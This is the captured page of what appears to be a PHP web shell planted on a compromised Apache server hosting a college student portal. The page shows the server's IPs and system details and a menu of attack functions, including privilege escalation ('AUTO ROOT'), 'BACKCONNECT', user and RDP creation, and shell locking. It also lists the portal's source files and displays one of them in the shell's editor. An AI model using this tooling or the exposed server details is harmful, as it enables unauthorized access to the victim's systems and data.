Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.218.110.116
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
collportal_new /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
AdmLogin.php
714
B
-rw-r--r--
addStudToCls.php
19.78
KB
-rw-r--r--
admdet.php
1.06
KB
-rw-r--r--
assignUserMenu.php
14.91
KB
-rw-r--r--
attEntryDaywise.php
11.03
KB
-rw-r--r--
caccesscontext.php
1.33
KB
-rwxr-xr-x
cappcontext.php
3.76
KB
-rw-r--r--
cdegree.php
4.54
KB
-rw-r--r--
cgetclsdepts.php
1.65
KB
-rw-r--r--
clogin.php
4.31
KB
-rw-r--r--
cmenus.php
2.46
KB
-rw-r--r--
constants.php
818
B
-rw-r--r--
coutput.php
1.84
KB
-rw-r--r--
crequestbroker.php
2.49
KB
-rw-r--r--
csessions.php
548
B
-rw-r--r--
csubject.php
5.75
KB
-rw-r--r--
cuser.php
3.53
KB
-rw-r--r--
cuserType.php
1.86
KB
-rw-r--r--
degreeResultSheet.php
3.82
KB
-rw-r--r--
degreeWise_IA_Report.php
4.79
KB
-rw-r--r--
deletecreatedclass.php
779
B
-rw-r--r--
duringExam.php
2.7
KB
-rw-r--r--
editclass.php
1.06
KB
-rw-r--r--
error_log.php
749
B
-rw-r--r--
getDegSemSubDetnew.php
8.55
KB
-rw-r--r--
getnumword.php
7.45
KB
-rwxr-xr-x
guidelines.php
578
B
-rw-r--r--
iamarksentry.php
6.92
KB
-rw-r--r--
json.php
34.52
KB
-rw-r--r--
jwt.php
13.16
KB
-rw-r--r--
login.php
8.01
KB
-rw-r--r--
marks_entry_qnWise.php
14.01
KB
-rw-r--r--
mregistry.php
21.88
KB
-rw-r--r--
practicalMark.php
28.2
KB
-rw-r--r--
preparethqp.php
23.68
KB
-rw-r--r--
protected.php
661
B
-rw-r--r--
savePassword.php
1.31
KB
-rw-r--r--
saveUserSetup.php
7.46
KB
-rw-r--r--
saveclsdets.php
2.27
KB
-rw-r--r--
sendGridMail.php
1.72
KB
-rw-r--r--
sendsmsapi_onex_new.php
4.19
KB
-rw-r--r--
student.php
61.41
KB
-rw-r--r--
studentsem.php
3.79
KB
-rw-r--r--
subject_Details.php
8.92
KB
-rw-r--r--
updateclass.php
583
B
-rw-r--r--
uploadStudentPhoto.php
2.15
KB
-rw-r--r--
uploadphotoofstud.php
1.84
KB
-rw-r--r--
userRightDetails.php
1.39
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cappcontext.php
<?php require_once("cconfig.php"); require_once(APP_DB_G . "/adodb.inc.php"); require_once(APP_DB_G . "/tohtml.inc.php"); require_once(APP_DB_G . "/toexport.inc.php"); require_once(APP_SRC_G . "/crequestbroker.php"); require_once(APP_SRC_G . "/csessions.php"); require_once(APP_SRC_G . "/coutput.php"); require_once(APP_SRC_G . "/cuser.php"); // require_once(APP_SRC_G . "/jwt.php"); // require_once(APP_SRC_G . "/constants.php"); class CApplicationContext { public $mobj_config; #Config Object public $mobj_db; #Adodb Object public $mobj_orb; #Request Broker - Singleton Class with static functions public $mobj_user; #User Object public $mobj_data; #Data public $mobj_output; #Output stream public $main_src; #public $mobj_logger; #Logger stream function __construct() { } function Initialize() { # all the contained object creations happen here and not in the constructor # this is to avoid exceptions during object creation header("Access-Control-Allow-Origin: *"); header('Content-Type: application/json'); header("Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS"); header("Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With, x-auth-origin, x-auth-token, x-auth-type"); # 06. Input - Init $this->mobj_data = $_REQUEST; # 01. Create the Config Object $this->mobj_config = new CConfig( isset($this->mobj_data["dbg"]) ); # 02. Create the DB Object $this->mobj_db = ADONewConnection("mysqli"); # by default we connect to mysql $this->mobj_db->debug = $this->mobj_config->mbool_debug; $lbool_res = $this->mobj_db->Connect($this->mobj_config->mstr_host, $this->mobj_config->mstr_user, $this->mobj_config->mstr_password, $this->mobj_config->mstr_db); date_default_timezone_set("Asia/Calcutta"); // $headers = getallheaders(); // $this->headers = $headers; // $origin = $headers["X-Auth-Origin"]; // $type = $headers["X-Auth-Type"]; // $_SESSION['user_id'] = "ABCD"; // if ($origin == 'UNICLARE') { // $token = $headers["Authorization"]; // try { // $payload = JWT::decode($token, SECRETE_KEY, ['HS256']); // $_SESSION['user_id'] = $payload->userId; // } catch (Exception $e) { // throwError(ACCESS_TOKEN_ERRORS, $e->getMessage()); // die(); // } // } # 03. Create the Request Broker $this->mobj_orb = CRequestBroker::GetInstance(); /* Actions to be registered in mregistry.php */ # 04. Sessions CSessions::Initialize(); # 07. Output - Init $this->mobj_output = new COutput(); $this->mobj_output->Initialize(); # 05. User // $this->mobj_user = CSessions::GetUser(); // $this->mobj_user = CSessions::GetUser(); //$sess_obj=NEW CSessions(); // $this->mobj_user = $sess_obj->GetUserManual(); // if (!isset($this->mobj_user)) // $this->mobj_user = new CUser($this); # to get the main source // var_dump($main_src);die(); $main_src_obj=(explode("/",$_SERVER["REQUEST_URI"])); $this->main_src=substr($_SERVER['SCRIPT_FILENAME'],0,strlen($_SERVER['SCRIPT_FILENAME'])-7); //$this->main_src=$_SERVER["DOCUMENT_ROOT"]."/".$main_src_obj[1]; } function __destruct() { # though php closes the db, it is good practice to do it ourselves explicitely once # $this->mobj_db->Close(); unset($this->mobj_db); unset($this->mobj_config); } }
Close